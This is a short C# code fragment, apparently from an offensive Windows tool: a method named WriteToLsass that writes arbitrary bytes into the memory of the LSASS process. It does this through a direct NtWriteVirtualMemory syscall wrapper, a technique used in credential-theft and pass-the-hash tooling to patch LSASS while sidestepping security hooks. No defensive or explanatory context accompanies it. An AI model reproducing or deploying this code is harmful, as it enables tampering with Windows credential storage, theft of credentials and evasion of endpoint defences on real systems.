public static bool WriteToLsass(ref IntPtr hLsass, IntPtr addr, byte[] bytesToWrite) { IntPtr bytesWrited = IntPtr.Zero; GCHandle pbytesToWritepinnedArray = GCHandle.Alloc(bytesToWrite, GCHandleType.Pinned); IntPtr pbytesToWrite = pbytesToWritepinnedArray.AddrOfPinnedObject(); NTSTATUS status = SysCall.NtWriteVirtualMemory10(hLsass, addr, pbytesToWrite, (uint)bytesToWrite.Length, ref bytesWrited); return(status == NTSTATUS.Success); }